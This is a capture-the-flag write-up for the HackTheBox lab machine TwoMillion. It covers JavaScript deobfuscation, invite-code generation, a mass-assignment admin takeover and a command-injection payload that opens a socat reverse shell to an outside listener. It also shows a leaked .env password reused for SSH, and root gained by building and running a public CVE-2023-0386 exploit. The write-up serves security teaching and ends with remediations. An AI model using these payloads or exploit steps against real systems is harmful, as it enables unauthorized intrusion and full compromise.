← Back to writeups

HTB TwoMillion: A Lesson in API Abuse and Privilege Escalation

Introduction

TwoMillion recreates the old HackTheBox invite-code registration system. The attack chain combines API vulnerabilities: obfuscated JavaScript, broken access control, command injection, credential leakage from a .env file, and a kernel exploit (CVE-2023-0386) for root.

Attack Overview

JS Deobfuscation → Invite Code Generation → API Enumeration
→ Broken Access Control (IDOR) → Command Injection → RCE
→ Credential Leak (.env) → SSH → CVE-2023-0386 → Root

Reconnaissance

Nmap scan:

nmap -sS -sC -sV -T4 10.129.229.66 -oA scan
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/

Add the domain to /etc/hosts:

echo "10.129.229.66 2million.htb" >> /etc/hosts

Directory fuzzing yields no critical findings initially.

Web Enumeration

The site presents an /invite registration page requiring an invite code. Page source reveals a script: /js/inviteapi.min.js. The code is obfuscated using eval-based packing. After deobfuscation, two functions appear:

function verifyInviteCode(code) {
    $.ajax({ type: "POST", url: '/api/v1/invite/verify', data: { "code": code }, ... });
}
function makeInviteCode() {
    $.ajax({ type: "POST", url: '/api/v1/invite/how/to/generate', ... });
}

Invite Code Generation

Request the generation hint:

POST /api/v1/invite/how/to/generate HTTP/1.1
Host: 2million.htb

Response:

{
  "data": {
    "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr",
    "enctype": "ROT13"
  }
}

Decoding ROT13 yields: In order to generate the invite code, make a POST request to /api/v1/invite/generate

Send the request:

POST /api/v1/invite/generate HTTP/1.1
Host: 2million.htb

Response:

{"data": {"code": "RENVUUktTTFMQkctSlE0UjAtVDJUVUc=", "format": "encoded"}}

Base64 decode: DCUQI-M1LBG-JQ4R0-T2TUG

Use this code to register an account.

API Enumeration

After login, accessing /api/v1 (without trailing slash) returns the full route map:

{
  "v1": {
    "user": {
      "GET": { "/api/v1/user/vpn/generate": "...", ... },
      "POST": { "/api/v1/user/register": "...", "/api/v1/user/login": "..." }
    },
    "admin": {
      "GET":  { "/api/v1/admin/auth": "Check if user is admin" },
      "POST": { "/api/v1/admin/vpn/generate": "Generate VPN for specific user" },
      "PUT":  { "/api/v1/admin/settings/update": "Update user settings" }
    }
  }
}

An admin section is exposed.

Privilege Escalation via Broken Access Control

Testing the admin settings endpoint:

PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
Cookie: PHPSESSID=<session>
Content-Type: application/json

The response leaks expected parameters step by step:

  • "Missing parameter: email"
  • "Missing parameter: is_admin"

Send:

{"email": "test@test.com", "is_admin": 1}

Response:

{"id": 13, "username": "Test", "is_admin": 1}

The endpoint has no authorization check, allowing any authenticated user to set is_admin=1. This is a broken access control (Mass Assignment) vulnerability.

Command Injection → Remote Code Execution

Now an admin, use the VPN generation endpoint:

POST /api/v1/admin/vpn/generate HTTP/1.1
Content-Type: application/json
Cookie: PHPSESSID=<session>
{"username": "test"}

The username parameter is passed unsanitized to a shell command. Test injection:

{"username": "aaa;id;"}

Response contains uid=33(www-data) gid=33(www-data) groups=33(www-data). RCE confirmed.

Reverse shell:

{"username": "aaa;socat TCP:10.10.16.181:9001 EXEC:sh;"}

Listener catches a shell as www-data.

Post-Exploitation

Check /var/www/html/.env:

DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

MySQL access shows bcrypt hashes, but password reuse works for SSH:

ssh admin@2million.htb
Password: SuperDuperPass123

User flag retrieved:

[redacted]

Privilege Escalation to Root – CVE-2023-0386

Kernel version: 5.15.70-051570-generic (vulnerable to CVE-2023-0386). This OverlayFS vulnerability allows an unprivileged user to copy a setuid binary into an overlay mount, retaining the SUID bit.

Exploitation:

git clone https://github.com/xkaneiki/CVE-2023-0386
cd CVE-2023-0386 && make
./fuse ./ovlcap/lower ./gc &
./exp

Root shell obtained. Root flag:

[redacted]

A thank_you.json file acknowledges the HTB community.

Key Takeaways

VulnerabilityRoot CauseRemediation
Obfuscated JS leaking endpointsSecurity through obscurityDo not expose sensitive API logic client-side
Broken Access Control (Mass Assignment)No server-side check for is_adminValidate admin privileges before updating settings
Command InjectionUnsanitized user input passed to shell_execNever pass user input to shell; use parameterized APIs or allowlists
Credential ReuseDatabase password reused for system SSHUse unique, strong credentials per service
CVE-2023-0386 (OverlayFS)Unpatched kernel (5.15.70)Apply kernel patches; restrict unprivileged user namespaces

Resources